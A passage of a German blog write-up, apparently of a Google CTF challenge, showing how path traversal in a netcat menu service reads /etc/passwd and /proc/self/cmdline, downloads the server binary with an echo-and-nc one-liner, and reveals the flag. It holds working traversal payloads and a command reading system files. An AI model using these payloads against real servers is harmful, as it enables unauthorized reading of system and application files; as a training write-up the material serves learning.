root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/syn
...

Leider haben wir das Flag noch nicht gefunden und es kann sich überall auf dem Server befinden.

 

Weitere Informationsbeschaffung

Unter Linux ist es möglich, sich den aktuell laufenden Prozess anzeigen zu lassen. Mittels

/proc/self/cmdline

wird der aktuelle Prozess angezeigt.

  1. Verbinden mit Netcat
  2. Menüpunkt „2“ aufrufen
  3. Folgende Eingabe durchführen
../../../../../../../../../../proc/self/cmdline

Ausgabe

./main=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

Der Name der laufenden Applikation lautet „main“.

 

Programm herunterladen

Auf folgende Art und Weise kann das Programm jetzt vom Server heruntergeladen werden.

echo -e "2\n../main" | nc -v mngmnt-iface.ctfcompetition.com 1337 > admin_ui_file
Befehl/Argument Beschreibung
echo Der Befehl „echo“ gibt einen Text aus.
e Der Parameter „e“ sorgt dafür, dass das Sonderzeichen „\n“ interpretiert wird (Enter/Newline).
| Mit der Pipe „|“ wird die Ausgabe an das Programm Netcat übergeben, welches sich zum Server verbindet.
> Mit „>“ werden alle Ausgaben in eine Datei „admin_ui_file“ gespeichert.

 

Nach ca. 10 Sekunden mit „STRG + C“ den Prozess abbrechen. Lokal sollte jetzt eine Datei vorhanden sein. Der manuelle Abbruch ist notwendig, da die Datei sonst immer weiter wächst. Das Warten auf eine Eingabe auf Seiten des Servers wird ebenfalls in die Datei gespeichert…

 

Reverse Engineering

Die Datei mit einem Hex-Editor (Bless) öffnen und nach Texten suchen, die hilfreich sein können.

Mit dem String „patchnotes“ ergab die Suche einen interessanten Treffer.

Final Step

Im Ordner „patchnotes“ liegt eine Datei mit dem Namen „flag“, welche es gilt anzuschauen. Also, auf eine Neues und mit dem Server verbinden, den Menüpunkt „2“ wählen und bei der Eingabe „Which patchnotes should be shown?“:

../flag

eingeben. Als Ausgabe erhalten wir unser Flag. :)

CTF{I_luv_buggy_sOFtware}=== Management Interface ===
1) Service access
2) Read EULA/patch notes
3) Quit

 

Kategorie: IT-Security Schlagwörter: , ,